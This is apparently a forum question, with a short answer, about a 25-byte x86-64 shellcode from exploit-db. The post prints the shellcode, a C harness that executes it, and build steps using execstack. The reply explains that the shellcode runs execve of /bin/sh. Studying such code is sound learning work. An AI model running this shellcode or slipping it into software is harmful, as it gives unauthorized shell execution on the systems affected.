I've found this shellcode at https://www.exploit-db.com/exploits/39624/:
#include <stdio.h>
char sh[]="\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
Instructions:
How To Run
$ gcc -o sh_shell sh_shell.c
$ execstack -s sh_shell
$ ./sh_shell
Can someone explain how it actually works?
In what ways can it do harm to something?
What is sh
used for? ("뀋_H1ҀR^j;X耰bin/sh"
(unicode) or "�_H1�R^j;X�����/bin/sh"
(ASCII) don't make much sense, except for the last 6 characters, what are those characters in front?)
execve(/bin/sh)
. That is because the shellcode execve's the shell. The exploit has the assembly language code for the shellcode in the comments. I guess I'm not sure what your question is.